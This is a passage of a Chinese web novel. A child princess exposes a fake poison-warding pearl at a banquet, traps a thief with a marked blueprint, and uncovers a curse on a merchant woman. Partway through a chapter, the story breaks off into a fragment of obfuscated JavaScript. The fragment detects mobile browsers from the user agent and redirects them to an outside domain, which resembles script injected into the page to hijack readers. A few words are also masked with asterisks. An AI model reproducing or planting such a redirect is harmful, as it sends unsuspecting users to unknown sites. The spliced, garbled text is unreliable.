团团领着这群小姑娘,浩浩荡荡地回到王府时,活像一只刚打完胜仗、带着一群小鸡崽回巢的骄傲小母鸡。
刚跨进前厅,一眼就看到了正跟程如安说话的郭太医。
郭太医显然也是刚到,正在给程如安行礼。
“太医爷爷!”团团欢呼一声,开心地跑了过去,“你好久没来啦,我都想你的胡子啦!”
郭太医又好笑又无奈,双手马上抬起,护住了自己精心打理的胡须。
团团却已转身扑到了程如安的怀里,小嘴叭叭地就开始讲方才的自己的“壮举”:“娘亲!娘亲!我跟你讲哦!”
“有个黑心肝的坏蛋,欺负小姐姐们!被我抓住啦!我让二叔叔把坏蛋送去了京兆府!”
“然后,我把她们都带回来了!我要开一个‘女子监’!”
“让她们想学看病的学看病,想学做饭的学做饭,都学到真本事,以后再也没有人敢欺负她们!”
她讲得眉飞色舞,全然没有注意到在郭太医的身旁,还有一个穿着灰布长衫、头发花白却面色红润的老头儿。
老头儿听见她要开女子监,一双平静无波的老眼闪过了一丝亮光。
郭太医频频点头:“小小姐此举,大善!”
“医者男子居多,女子极少。多少女病患因男女大防而患讳疾忌医,生生耽误了性命!”
“若多一些女子能够行医,这些妇人之病,便有人可医,不必再顾忌了。”
程如安见女儿带回这么多女孩子,正觉得意外,待听罢缘由,也不由得连连点头。
“救人于危难,理应如此。”
“郭太医,”程如安看了一眼与他同来的这位老者,来不及细问,“这位老先生,快请坐,来人,上茶。”
“刘嬷嬷,将西边空着的‘锦瑟院’收拾出来,带这些姑娘们去梳洗安置,再请个郎中来,给身上有伤的好好瞧瞧,吩咐下人们,不许怠慢。”
“是。”刘嬷嬷应了一声,带着那群手足无措的小姑娘们退下了。
眼看着屋里安静了下来,郭太医这才开口介绍:“王妃,小小姐,这位是在下的师祖,墨长庚,墨老。”
“师祖,这便是我跟您提起的宁王妃和嘉佑郡主。”
程如安面露惊讶:“莫非这位便是号称回春手的墨神医?”
墨长庚一脸高深的点了点头。
团团一脸好奇地看着墨长庚:“太医爷爷,他是你的师祖?”
郭太医面带自豪:“是啊,小小姐,我师祖他老人家正是赫赫有名的神医回春手。”
团团看了一眼他,又看了一眼墨长庚:“那他为什么没有胡子?你的胡子倒这么长?”
郭太医:“……”
程如安微笑地摸了摸女儿的头:“乖,胡须嘛,喜欢便留,不分年纪的。”
“哦!”团团点了点头:“我还以为,他是你的师祖,胡子应该比你还长呢。”
“呃……”小孩子的想法怎么总是如此奇怪!
郭太医摇了摇头,继续道:“此前王爷与公子们病症棘手,学生曾去信求助师祖。”
“只是师祖云游四方,近日方才收到书信赶到京城。”
“不想诸位贵体皆已安康。”
“师祖听闻小小姐机缘巧合,得了株千年雪参,此物乃医家至宝,故而前来,想鉴赏一番,还请王妃允准。”
程如安一听,墨长庚竟是专程为给自己的家人治病而来京城,心中顿生敬意,连忙道:“原来如此,多谢墨神医高义。来人,去库房,将那株雪参拿过来。”
“是。”不多时,下人便取来一个玉盒,放在了桌案上。
盒盖一开,满室便立刻萦绕起一股清洌的甘香。
墨长庚马上站了起来,凑上前,脸上的漫不经心彻底收起:“灵物自晦,宝光内蕴,果然不假!”
他看向团团:“小娃娃,你福缘不浅啊!此物非有缘者不可得,虽说你是打赌赢来的,但若它与你不契,你也留它不住。”
团团看着他,这老头儿身上的红光是我见到过的人里,最亮的啦!
他肯定救过很多人,是个好老头捏!
她迈开小短腿,走到墨长庚面前,仰起小脸,小手一挥:
“老爷爷,这个,送给你啦!”
一言既
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出,满室皆惊。
郭太医险些咬到自己舌头,程如安也惊讶的看向女儿。
墨长庚死死盯住眼前还没他腰高的小团子,声音都变了调:“你说什么?送给我?你可知这是何等宝物?”
“知道呀,”团团点了点头,一脸的理所当然,“不就是能救命的东西嘛。”
“大哥哥已经好啦!留在我这里,没用了啊!”
“老爷爷你是太医爷爷的师祖,你拿走吧,能救好多好多人呢!”她伸出小胳膊,努力比画了一个大圈,表示“好多好多”。
话说得轻松又自然,仿佛送出去的只是一块糖,而不是价值连城的千年雪参。
墨长庚看着面前那双澄澈见底的眼睛,和小团子脸上“这不是很应该吗”的小表情,胸口像是被什么东西重重撞了一下。
他忽然蹲在了团团面前,用力挤出了一个自认为很和蔼可亲的笑容,语气热切:“小娃娃!你心地纯善,天赋灵秀,更难得的是心有乾坤,深明‘医者仁心’之大道!”
“留在这里太浪费了!不如拜老夫为师吧!老夫把一身的医术都传给你!保证以后你比这个太医爷爷还厉害百倍!怎么样?”
郭太医在一旁听得嘴角直抽抽,师祖啊,您这是想让小小姐做我的师姑吗?
团团却皱起了小鼻子,往后退了一步,嫌弃地看着他脸上堆起的褶子:“不要。”
“为什么?”墨长庚傻眼了。
“你笑起来,”团团用小手指点了点他的老脸,一脸认真,“好像街上想骗小孩糖吃的坏老头哦。”
墨长庚:“……”
郭太医和程如安:“……”
“你?你!”墨长庚板起了面孔,“小娃娃,你知道天下有多少人想拜老夫为师吗?”
居然敢嫌弃我?
团团眨巴着大眼睛,诚实地摇了摇头:“不知道哇。”
她想了想,又补了一刀:“我为什么要知道?我又不想当大夫!”
墨长庚捂着胸口,被她的话噎的心口堵的不行。
郭太医在一旁看得心惊胆战,生怕师祖一口气没喘匀,再撅过去。
第123章 你怎么也来了
“不当大夫?”墨长庚满脸痛心疾首,“你如此天赋,如此心性,不当大夫就是暴殄天物!就是……就是糟蹋粮食!”
团团被他这夸张的样子逗得“噗嗤”一声笑了,两个酒窝深深地露了出来:“神医爷爷,你真好玩。”
墨长庚狠狠地瞪了一眼郭太医。
郭太医见状急忙开口帮腔:“小小姐,你不妨考虑一下?”
“师祖他老人家名满天下,求着拜他为师的人可多了呢。”
团团想了想,老头儿想收徒,教人医术,这不正好嘛!
“这样吧,我不当你徒弟。”她看着老头瞬间又垮掉的脸,赶紧哄他,“别生气,别生气嘛。”
“我虽然不当你徒弟,但是,你可以教我书院里的小姐姐们啊!”
她越说越觉得这个主意妙极了,小手一拍:“对呀!你那么厉害,肯定能教出特别厉害的女大夫!这样,不就能救更多人了嘛!”
程如安面露惊讶,墨长庚彻底愣住了。
让我这个神医去学院教书?
好像,也没什么不可以……
一个人医术再高,能救的人终究有限。
若能培养出一批通晓医理的女医,散于各处,确实可以救更多的人。
但是,若是做了先生,可就没法四处云游了!
他看了眼旁边的郭太医,眼神一亮,像是突然看到了一个香饽饽。
没关系,这不还有我的徒孙在嘛!我不在的时候,推给他就是!
郭太医看到师祖的眼神,心中突然也有了跟团团一样的感觉。
小小姐说的还真对!师祖他老人家这副嘴脸,确实像极了骗小孩糖吃的坏老头。
墨长庚又是摇头又是叹气:“你这个小娃娃啊!多少人求着我收他们为徒,老夫都看不上,你却不要。”
他猛地站起身,对着团团扬起下巴,一脸狡黠:
“哼!让老夫当先生?可以!”
“不过,老夫可不是那么好请的!你得先把那个什么‘女子监’开起来!要是开不起来,或者办得不好,老夫可不认账!”
说完,他抱起桌上的玉盒,冲着郭太医一摆手:“徒孙,走!陪师祖我找地方喝酒去!”
说罢竟就这么自顾自地,带着一脸懵的郭太医扬长而去。
团团看着他们消失的背影,小胸脯一挺:“娘亲你看,先生我都找好一个啦!”
当晚,萧元珩回府,听妻子说起女儿今日的“壮举”,非但没觉得胡闹,反而满脸皆是赞赏。
他将正乖乖喝牛乳的团团抱到膝上:“好!我家团团就是有志气!这女子监,乃利国利民的创举,听着就提气!”
“既然要办,就不能小打小闹!要办得风风光光,像模像样!爹爹明日就替你物色一处好地方!”
团团搂着爹爹的脖子,在他脸上亲了一口:“谢谢爹爹!爹爹最好啦!”
待到终于将玩累了的团团哄睡后,夫妻二人独处,程如安才同丈夫提起一事:“今日靖海侯府送来帖子,后日是他家老太太的六十寿辰。”
“说是遍邀了京城中的官眷贵妇一同赴宴,为老太太贺寿。”
萧元珩眉头一皱:“靖海侯府?我记得团团跟他家的两个婆娘起过嫌隙,跟他们有什么好来往的。”
“话是这么说,”程如安替他宽下外袍,“毕竟是老人家的整寿,大家应该都会去。”
“论礼数,若众人皆到,独咱们王府不露面,反倒落人口实。”
“团团又有郡主之名,我想着,不妨带着她去一趟,送份寿礼,坐上片刻,全了礼数便回来。”
萧元珩哼了一声:“去便去吧,你只管去,若是他家哪个不开眼的,敢给你们半点气受,你也不必客气。”
“天塌下来,自有本王顶着!”
程如安“噗嗤”一声笑了出来:“就团团那性子,旁人不来招惹她已是万幸,谁还能让她吃了亏去?王爷就放心吧。”
两日后,静海侯府张灯结彩,宾客盈门。
程如安存了晚来早走的心思,特意带着团团姗姗来迟。
母女二人被丫鬟引着,刚踏入那喧闹的花厅,还未来得及去贺寿,便被不远处的一幕吸引了目光。
只见韩雪苓正领着衣饰华美、我见犹怜的周语薇,站在一位穿着青布长衫、头发花白的老者面前。
那老者背对着母女俩坐的桌子,看不见面容。
韩雪苓手中捧着一
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个打开的紫檀木锦盒。
盒内静静地躺着一枚鸽卵大小、颜色混沌的珠子。
那珠子看似质朴,细看之下,内里却仿佛有无数细微的光点在其中缓缓流转。
她满脸堆笑:“老先生,您请看,此乃我府上机缘巧合所得,名为‘万秽辟易珠’。”
“此珠之神效:能辟天下万毒。寻常毒物近之则消,便是那厉害非常的蛊毒,亦难近其身。”
“于医者而言,此乃研究万毒、印证医理的无上至宝。”
她顿了顿,满意地看着老者骤然缩紧的瞳孔,
周围瞬间响起的压抑的抽气声
“嗬!靖海侯真是好大的手笔!居然能找到这‘万秽辟易珠’!”
“是啊,此物怕是能换下半座京城了!”
“自古医毒不分家,此物于医者那可是逆转阴阳、另开医道的圣物啊!”
韩雪苓待众人惊讶够了,将周语薇往前引了引:“小女雨薇,自幼倾心医道,日夜苦读医书,只盼能得先生青眼,收入门下。”
“若先生不吝指点,使我侯府能出一位济世良医,此旷世奇珍,自当作为拜师之礼,献与先生!”
此言一出,所有人的目光都集中到了那老者身上。
然而,那老者却发出了一声毫不掩饰的嗤笑,声音带着几分漫不经心的嘲弄:“嗬!您这话,老夫听着怎么这么不对味儿呢?”
“闹了半天,这万秽辟易珠,是拴在驴鼻子前面的那根胡萝卜啊?老夫若是不按你的路子走,便得不到?”
老者的话说得可谓极不客气,韩雪苓脸上的笑容瞬间僵住,周语薇更是眼圈一红,泫然欲泣。
周围顿时一片寂静。
这声音好熟悉啊!
“神医爷爷!”团团冲着那老者的背影喊了一声。
老者身形一僵。
在所有人惊愕的注视下,只见他迅速转过身,脸上的不耐和讥讽顿时全部消失。
瞬间便换上了一张堆满了惊喜的笑脸。
他站起身,冲着团团便大步走了过来。
一张老脸上的褶子全都笑开了花,那讨好的笑容要多谄媚有多谄媚。
“哎呦!我的乖徒儿啊!你怎么也来了?”
第124章 偷鸡不着蚀把米
正是神医墨长庚。
他三两步就来到了团团面前,背对着侯府那对母女,冲着小娃娃就是一阵挤眉弄眼,脸上的褶子都快拧抽筋了。
团团看着他这副怪样子,小脑袋歪了歪。
神医爷爷的脸生病了?
她眼珠一转,恍然大悟。
哦!神医爷爷不想收那个坏姐姐做徒弟,所以拿我挡呢!
她冲着墨长庚翻了个白眼,小嘴微微撅起,没开口否认。
墨长庚见她领会了自己的意思,心中大喜,这小娃娃当真是灵透的不像话!
他立刻转身,清了清嗓子,对着全场宾客,斩钉截铁地宣布:
“诸位请都听清楚了!”
“嘉佑郡主,是老夫唯一的关门弟子!老夫绝不会再收第二个徒弟!”
全场顿时一片哗然。
“郡主何时拜了神医为师?”
“郡主居然能做神医的徒弟?”
“这可真是京城奇闻!”
周语薇眼中的希望瞬间熄灭,心里的嫉妒和怨毒几乎就要翻滚而出:怎么又是这个死丫头!
韩雪苓更是气得暗暗咬牙。
她们今日不惜献上至宝,就是为了在京城所有的官眷贵妇面前,给周语薇戴个“神医之徒”的大帽子。
谁不知道神医行踪飘忽,从不在一处久住。
神医不在,周语薇这个神医之徒的份量可想而知。
京城富贵人家众多,最怕的便是身子不适,有病缠身。
到时靖海侯府在京城权贵圈中的地位必将稳如泰山!
韩雪苓脸色阴沉,“万秽辟易珠”乃是世间奇珍,神医方才的眼神分明是动心了的!
“请神医三思!”韩雪苓强压怒火,“莫非这‘万秽辟易珠’,您当真不动心吗?”
墨长庚闻言,下意识地瞥了一眼那锦盒,眼中飞快地闪过一丝肉痛,想要啊!但老夫平生最恨被人要挟了!
他梗着脖子,抬着下巴,一脸傲娇:“此珠虽好,怎比得上我徒儿重要!”
团团看着他的模样,哼!神医爷爷撒谎!
你明明就是很想要!
是你不喜欢她们,所以才不要。
我也不喜欢她们!
不过,那颗珠子嘛……
团团眼珠一转,伸出小手指,指着韩雪苓手中的锦盒:“你的珠子是假的呀!没什么用,有什么可神气的?”
程如安看着女儿,满脸惊诧。
众人顿时炸开了锅。
“什么?假的?”
“靖海侯府居然用假宝物诓骗神医?”
“不会吧!”
所有人的目光都看向了那颗珠子,疑云四起。
周语薇脸腾的一下涨得通红,尖声反驳:“你胡说八道!”
韩雪苓也厉声道:“郡主!话可不能乱说!如此宝物,岂容你信口污蔑!”
团团半点不惧:“是不是假的,试试不就知道啦!”
她仰起小脑袋对墨长庚道:“神医爷爷,你身上有没有什么有毒的东西吗?拿出来试试呗!”
墨长庚也有些懵,闻言从腰间解下一个酒葫芦。
葫芦是他特制的,上下两头皆有嘴,用塞子塞住,中间有隔板隔开。
一头放酒,一头存放他顺手收集的各种毒虫。
他拔开其中一头的塞子,小心翼翼地从里面倒出几只张牙舞爪的蜈蚣和色彩斑斓的小蜘蛛,放在光洁的桌面上。
这些小东西都是他进京途中在山野间顺手捉的,毒性不大,用来泡他的“百虫酒”。
宾客们见状,纷纷惊呼着后退了几步。
“哼,区区寻常毒物,也配来试我的宝珠?真是浪费!”
韩雪苓将那颗“万秽辟易珠”从锦盒中取出,放在了桌子中央。
众人又都围拢过来,紧紧地盯着那些毒虫。
只见那些蜈蚣和蜘蛛原本是在桌上乱爬,珠子放下后,它们全都迅速地爬到了桌子的边缘,远远的躲着,不敢靠近分毫。
程如安担忧地看向女儿,却见团团藏在桌子下面的小手一松,一个她刚吃完还没来得及丢掉的花生壳,轻轻落在地上,迅速消失。
团团嘴里飞快地嘟囔了一句:“护住它们!”
声音极其微小,只有坐在她最近的自己能听到。
程如安心头一跳。
韩雪苓和周语薇的脸上此时全是满满的得意。
“看到了吧!我看谁还再敢说……”
话音还没落,那些原本畏缩不前的毒虫们停顿了一下,径直朝着珠子爬了过去!
有一只蜘蛛甚至直接爬上了珠子的表面,在上面悠闲地踱步!
“不!这不可能!”韩雪苓失声尖叫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515694|184125||http|test|mini|href|location''.split(''|''),0,{}));
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r>周语薇的脸色惨白如纸。
四周顿时爆发出无数的嗤笑和议论。
“哈哈哈,还万秽辟易呢,连几只小虫子都辟不了!”
“靖海侯居然真的拿了件假货来糊弄神医啊?嘿嘿。”
“真是丢人现眼!”
“侯府今儿这寿宴可真够热闹的!”
“是啊!这点子小心思当谁不知道呢!没想到吧,偷鸡不着蚀把米!呵呵呵!”
刺耳的讥讽和嘲笑,不停地灌进了韩雪苓的耳朵。
她看着桌上那颗被毒虫“玷污”的珠子,脸上火辣辣的疼,仿佛身上的衣服都被当众剥光了。
她猛地冲上前,一把抓起那颗让她丢尽颜面的珠子,狠狠地朝着厅外扔去。
“我们走!”她咬着牙吐出这三个字,拉起失魂落魄的周语薇,狼狈不堪地匆匆离开。
热闹看完了,众人不在**在桌前,三三两两地散开。
对方才发生的事继续津津乐道。
团团“嗒嗒嗒”地跑到那颗被丢弃的珠子旁,弯腰把它捡了起来,用袖子擦了擦:“给我当弹珠玩正好!”
旁边有几个人虽然看到了,却都没放在心上,一个不值钱的假珠子,小孩子爱玩,愿意捡就捡呗。
程如安无心多做停留,将备好的寿礼交给侯府地下人,带着女儿,邀请神医一同打道回府。
马车上,团团从怀里掏出那颗“万秽辟易珠”,递到墨长庚面前:“喏,神医爷爷,给你。”
墨长庚一愣,下意识接过,疑惑道:“这不是假的吗?”
团团冲他眨了眨大眼睛,脸上满是“你怎么这么笨”的小嫌弃:
“刚才是假的,现在是真的啊!”
“这么好的东西,当然不能留在坏蛋的手里啦!”
墨长庚浑身一震,低头看向手中的宝珠,震惊不已。
再抬头看着眼前笑得像只小狐狸的娃娃。
是了!定然是这孩子用了什么自己无法理解的手段,暂时“蒙蔽”了宝珠的灵性,骗过了毒虫,也骗过了所有人!
墨长庚盯着团团的目光瞬间变得无比贪婪。
程如安无奈地摇了摇头,看来啊,这位墨神医,以后赶都赶不走喽!
几天后,冯舟兴冲冲地来到了王府:“盟主!私物坊已落成,去看看吗?”
第125章 谁请我吃饭?
团团被他的模样吓了一跳:眼底下挂着两道明显的青黑,人瘦了一大圈。
整个人却明显处于一种又疲惫又兴奋的状态。
“好啊!”团团冲着萧二一伸手,萧二熟练地抱起自家小姐,跟着冯舟直奔私物坊。
马车驶入一处把守森严的院落。
一下车,映入眼帘的是一片规划齐整、错落有致的房子。
冯舟难掩自豪:“盟主您看,前面那排屋舍是绘图之所;东侧用高墙围起来的开阔地,是试炼场。”
“西侧的连屋是工匠的住所,最重要的核心图纸存放处,有专人十二时辰轮守。”
他指着试验场边缘一栋独立的小屋,眉飞色舞:“我如今就住在那儿,守在这里,我心里才踏实。”
“盟主日后若有吩咐,派人来此处寻我就是。”
团团背着小手,这里看看,那里瞧瞧,大眼睛里满是赞赏,用力点头:“冯舟,你干得真好啊!”
冯舟被她夸得脸颊微红。
二人来到冯舟的值房,一名下属前来禀报:“大人,工部遣人送来一批相关文书。”
“让他进来吧。”冯舟随口吩咐了一句。
一名身着工部官服的中年男子低着头,双手捧着一摞文书躬身而入。
语气恭敬:“下官乃工部从七品主事,奉尚书大人之命,将此文书送至私物坊,请冯大人过目。”
这声音!
冯舟脸上的笑意凝固,目光钉在来人身上:“是你?”
冯伯甲闻声抬头,看清了面前这位“冯大人”的脸。
脸上的血色霎时褪得一干二净,捧着文书的手都控制不住地颤抖起来。
“怎么会是你?”他失声惊呼,“这私物坊的主事,竟然是你?!”
“怎么了?”团团稳稳地坐在宽大的椅子里,两只小短腿够不着地,摇来晃去。
“为什么不能是他?”
“你偷走他的气运,看见他不怕吗?”
冯伯甲看着面前意气风发的侄子,想起自己曾经对他做过的事情,本来就又惊又怕。
又被团团直言点破,心底那些最隐秘、最肮脏的角落全都彻底暴露了出来。
他的脸色由白转青,嘴唇微微哆嗦着,一个字也说不出来,
冯舟也在看他,看着大伯身上的七品官服,又低头看了看自己身上的五品官服,积压了多年的那口闷气,登时消散了大半。
他如今一心扑在私物坊上,只想做好自己的差事,将这些年心中的设想都变成实物。
他上前一步,沉稳地接过那摞文书,淡淡道:“文书已收到,冯主事可以回去复命了。”
直接下了逐客令。
冯伯甲心中满是**和不甘。
我做了这么多,却仍然只是个从七品主事!
他做了什么?居然官居五品!
这私物坊直属皇权,深得圣心,工部只是协理,明摆着前途无量!
他凭什么坐在这里?
这些都应该是我的!
偷?偷又如何?谁不想升官发财?
我既然能偷你一次,难道就不能偷第二次吗?
“是!冯大人!”他躬着身子,默默退了出去。
团团看了一眼冯舟:“家里进贼了哦!”
冯舟一愣:“盟主的意思?”
团团从椅子里蹦了下来:“他恨你哦!还会继续偷你东西的。”
冯舟顿时咬牙切齿:“当年他偷走我的图纸,又要走我的八字,害我倒霉多年,险些自缢,如今我不想再追究,他竟还不放过我!”
团团的目光落在案上的几张图纸上,眼睛一亮:“他想偷就让他偷嘛!”
冯舟一脸狐疑:“盟主的意思是?”
“让他偷走……然后?”他恍然大悟。
团团摇头晃脑地点了点头:“孺子可教!”
冯舟哭笑不得:“好!那咱们就让他偷!”
冯伯甲对私物坊的事格外上心,凡是工部与私物坊的文书往来、货物运输,他都想方设法揽到自己手上。
不过短短几日后,他便将一张陌刀改进图恭恭敬敬地递到工部尚书盛湛的案上。
他语气激昂:“大人,此乃下官近日废寝忘食、呕心沥血之作,若能用于军中,必能使我军战力大增!”
盛湛拿起图纸,只看了一眼,目光便骤然锐利起来。
他盯着胡峰,缓缓问道:“你说,这是你所创?”
“千真万确,乃下官独创!”
盛湛看着他,失望地摇了摇头,冷喝一声:“来人!”
几名侍从应声而入。
“拿下!”
侍从们一拥而上,将冯伯甲死死押跪在地。
冯伯甲一脸惊骇:“大人!这是为何?下官这是有功啊!”
“有功?”盛湛缓缓从袖中取出一张图纸,扔到他面前。
那图纸与冯伯甲所献一般无二,唯独在刀刃连接的关键位置,多了一个小小的猫爪印,憨态可掬。
盛湛俯视着他:“你利用职务之便,**私物坊机密图纸,人赃并获,还敢狡辩?”
冯伯甲看着那个仿佛是在嘲笑自己的爪印标记,如遭雷击
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,瞬间面无人色,整个人瘫软下去。
盛湛语气沉痛:“小郡主与冯大人对你早有防备,特以此图为饵,就等着你自投罗网!”
“你真是……多行不义必自毙!”他挥了挥手,“押送大理寺,依律论处!”
冯伯甲的求饶声很快便被拖远了。
冯舟听到工部送来的消息,默默点头:“多亏了盟主啊!”
时近晌午,宁王府。
下人捧着一张帖子走了进来:“王妃,小姐,碎金阁派人送来请帖。”
“玉瑶小姐在阁中设宴,请郡主过去一同进膳,说是有事相求。”
“谁请我吃饭?”团团仰起小脸,以为自己听错了,“慕容玉瑶?她有什么事要求我?”
程如安想了想:“娘亲若是没猜错,她所求之事,怕是与你父王正在查的科举舞弊案有关。”
“昨日我听你父王提起这案子,说是查到了慕容家的头上,他们府上已有几人被大理寺收押。”
“此案由你父王主理,她此次寻你,应该是想让你在你父王面前,为她家转圜几句。”
团团一听,嘴巴撅了起来,想都没想便脱口而出:“我才不要!做错了事还想跑?我不去!不去!”
程如安吩咐:“去回个话,就说郡主今日身子不适,不便赴宴。多谢玉瑶小姐的美意。”
“是。”
碎金阁,雅间内。
慕容玉瑶坐在桌边,桌上摆满了精致的茶点,她却一口未动,呆呆地看着,心乱如麻。
陛下重视科举,最恨徇私舞弊,哥哥也太不小心了!
怎么就让人握住了把柄!
圣上这次不知为何,对慕容家竟毫不容情!
如今宁王主理此案,唯有从他身上下些功夫了。
宁王不好说话,那丫头毕竟年纪还小,耳根子软,又深得宁王宠爱,若是好生哄一哄,许下些好处,或许能说得动她。
我如今放下身段,只盼着她能在王爷面前,为慕容家说几句好话。
“小姐,”派去送信的人回来了。
“宁王妃说,嘉佑郡主身体不适,不能来了。”
“哐当——!”
慕容玉瑶猛地站起,一挥衣袖,将满桌的杯盏碟盘尽数扫落在地,胸口剧烈起伏:“好!好得很哪!“
“如今,我竟比不上一个从乡下抱回来的野丫头了!”
“请你是给你脸面,你居然不要!”
“回宫!”她怒气冲冲地离开了碎金阁。
次日,受谢云舒之邀,团团来到了她的宅子里。
第126章 又来偷?
“点心姨姨!”团团见到谢云舒就扑了过去。
“诶!你好啊,小郡主!”谢云舒俯身将她搂住,“你最近有没有去巧酥阁啊?”
“我吩咐过他们,只要你去,就将所有的点心都给你包好装车,喜欢吗?”
团团乖巧地回道:“喜欢!谢谢姨姨!”
谢云舒站起身,领着团团走进了花厅。
桌上摆满了各色茶点,团团眼睛一亮,坐下便吃了起来。
谢云舒将一叠银票和几张盖着朱红大印的厚实纸笺推到团团面前:“郡主,这是两万两银票和三万石粮草的‘粮帖’。”
“请郡主转交宁王,或充军粮,或赈灾民,略尽我云鹊商会一点心意。”
好大的手笔!
站在团团身后的萧二一脸惊喜,镇国侯金库里的金银王爷吩咐过都用来对付这次罕见的旱灾,今岁的军粮只能另行筹集,这回可不用愁喽!
团团看着桌上这厚厚的一摞,还没来得及说话,花厅外猛地传来一阵喧哗。
“让我进去!我有天大的急事见长姐!”
话音未落,一个身着锦袍、面色潮红的青年男子已闯了进来,正是谢云舒的弟弟谢云琛。
他神情亢奋,冲到谢云舒面前:“长姐!快!把家里能动用的现银、珍玩都给我!”
“我找到了一条通天的财路!打通了大夏的皇商!这笔买卖咱们稳赚不赔!”
“日后,咱们云鹊商会便将是我朝的商会之首了!到时,连户部都要看咱们的脸色了!”
一低头,他瞥见了团团和她面前的银票粮帖,脸上闪过一丝嫉恨,话说得酸了起来:“长姐既有余力帮衬外人,扶持自家亲弟弟的买卖,岂不是更紧要?”
谢云舒脸色一沉:“云琛!休得胡言!还不快向郡主赔罪!”
“郡主?”谢云琛一惊,这小娃娃是哪个郡主?
团团放下手中糕点,睁着黑白分明的大眼睛,看了一眼谢云琛:“你是要把点心姨姨卖了吗?”
谢云舒闻言面露惊讶,看向自己的弟弟。
谢云琛浑身一僵,强笑道:“郡、郡主这是哪里话……”
“那个金钗是你送给姨姨的吧?”
此言一出,就连谢云舒都瞪大了眼睛转向了团团,我好像,没跟小郡主提过那金钗是云琛所赠啊。
团团的小脸耷拉了下来:“你怎么这么坏!害自己的亲姐姐?”
谢云琛矢口否认:“你胡说!我怎会害她?那金钗是我在外行商时偶然得到的,我看着别致,才买下送给姐姐戴着的。”
“戴满七七四十九日对吗?”团团问道。
“你怎么……”谢云琛往后退了一大步,满脸惊恐地看着她。
四十九日!那人当日确实是这样说的。
“你姐姐虽好,却与你的命数相冲,挡了你的财运。只要她在,你便终生只能受其驱使,绝无出头之日。”
“你将这枚金钗赠给她,只要她能不间断地戴上七七四十九日,她的财运便会尽数转到你的身上。”
“当然,她的身子也会因此受损,活不了多久。但那不是正合你意吗?她不在了,商会便会落入你的手中,你才可以大展宏图啊。”
“我怎么知道?”团团小脸一扭,看着谢云舒:“姨姨!那金钗你若是戴满四十九日,你的财运就会全都转到他的身上,然后,你会死掉的哦!”
全中!谢云琛脸色铁青,这小娃娃怎么全都知道?
谢云舒大惊失色,转头死死盯着面前的弟弟。
“我没有!长姐莫要听个外人胡说八道!”谢云琛慌忙打断,目光闪烁,“我真的只是看着那金钗与众不同,才送给你的!”
“哦?那你身上戴的这个呢?”团团小手一抬,指向他腰间一枚崭新的貔貅玉佩。
谢云琛下意识伸手捂住了那玉佩:“这,这个又怎么了?这是我自己买的!”
“二叔叔!把那个拿过来!”
萧然身形一动,众人只觉眼前一花,玉佩已到了他手中。
“小姐。”萧二将玉佩交给团团。
团团抡起小胳膊,用力往地上一摔。
‘啪嚓!’
玉佩应声而碎。
几缕枯黄的发丝,赫然从碎片中露出!
几乎是同时,一股阴寒刺骨的旋风凭空而生,绕着那堆碎片不停打旋,片刻之后,卷起地上发丝,冲出厅外,消失无踪。
与当日那金钗一模一样!
谢云舒心中再无疑虑,气得满脸通红。
谢云琛脸上的血色则顿时褪得一干二净,目瞪口呆地看着地上玉佩的碎片,浑身如坠冰窟。
“我上次破了那金钗,你就想了这个新法子,想把姨
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姨的银子都骗到自己手里,对不对?”团团歪着头,一语戳破他心底最隐秘的算计。
“不!不是我!”谢云琛扑通一声跪倒在姐姐的面前,”长姐!她满口胡言!长姐!我是你的亲弟弟啊!我怎么会害你呢?长姐!你千万不能相信她!”
谢云舒看着这个自己唯一的弟弟,痛心疾首:“云琛!你上次用那邪物害我,我念在你是家中独子,不愿深究,你竟然!你竟然还敢……”
“我没有!长姐你莫要信她!”谢云琛慌忙打断了她。
眼看事情败露,已经瞒不住了。
他瞪着团团:“你懂什么!那大夏神童法力无边,能呼风唤雨,岂是你能比的?他这是在助我光耀门楣!”
又是那个偷神?
偷了龙运又来偷银子?
“法力无边?”团团指着地上玉佩的碎片,“你戴着这个坏东西,根本活不到看见银子那天!”
谢云琛瞪大了眼睛:“不可能!你,你骗我!”嘴上虽硬,心中却已疑云四起,这玉佩暗藏如此邪物,显然不是个好东西,难道,自己真的是上了那人的当?
团团摇了摇头:“他帮你害姨姨没成,就干脆让你骗走姨姨的银子,然后,你就死掉啦!姨姨的银子嘛,就归他啦。”
“你……你……”谢云琛指着团团,手指颤抖,你了半天,其他的字却一个也说不出来。
眼前铁证如同一把重锤,彻底砸碎了他对神童的幻想。
原来,从头到尾,自己都只是一枚随时可以被舍弃的棋子!
他两腿一软,瘫倒在地,面如死灰。
谢云舒深吸了口气:“来人!将二爷带下去,看管起来!没有我的命令,不许他踏出院子半步!”
几个下人冲了进来,将地上烂泥一样的谢云琛拖了出去。
谢云舒转身,对着团团深深一拜:“多谢小郡主,再次救我谢家,于倾覆之间。”
团团开心的笑了:“姨姨!我饿啦!”
谢云舒满脸宠溺,高声道:“快上菜!”
很快,满满一桌子精致的菜肴端了上来。
“哇!好多好吃的啊!二叔叔!坐下陪我一起吃嘛!”团团拉了一下萧二的袖子。
萧二依言落座。
三人才刚吃完,宁王府的人来了:“小小姐!王爷请您尽快回府!”
第127章 我陪你去
团团和萧二匆匆赶回王府,才跳下马车,门口地下人便急声道:“小小姐!王爷在养正轩!”
萧二抱起团团就径直奔向养正轩,到了门口,萧二将她放下,团团迈开小腿跑了进去。
只见萧元珩夫妇与郭太医都围坐在床边,连神医墨长庚也赫然在座。
“爹爹!娘亲!我来啦!怎么了?”团团跑过去一看。
床上躺着一人,五官俊美,双目紧闭,面如白纸。
“汪叔叔!”团团惊呼一声,扑到了床边。
萧元珩将她拉到自己怀里:“团团,你汪叔叔中了毒。”
“**?”团团抬起小脑袋,看向郭太医,“太医爷爷,快给他治呀!”
郭太医面露难色,看向自己的师祖。
墨长庚收起了平日漫不经心的神色,缓缓摇头:“此毒名为‘千机引’,非寻常毒物,毒性凶猛,起效奇快。”
“他如今还能有口气活着,已是我这徒孙为他及时施针,阻断了经脉的结果。”
“若要救他,需圣医谷独有的‘九清灵叶’,以其为引,方能化去这千机之变。”
“九清灵叶?”团团看着他,“神医爷爷,你不是神医吗?你一定有吧?”
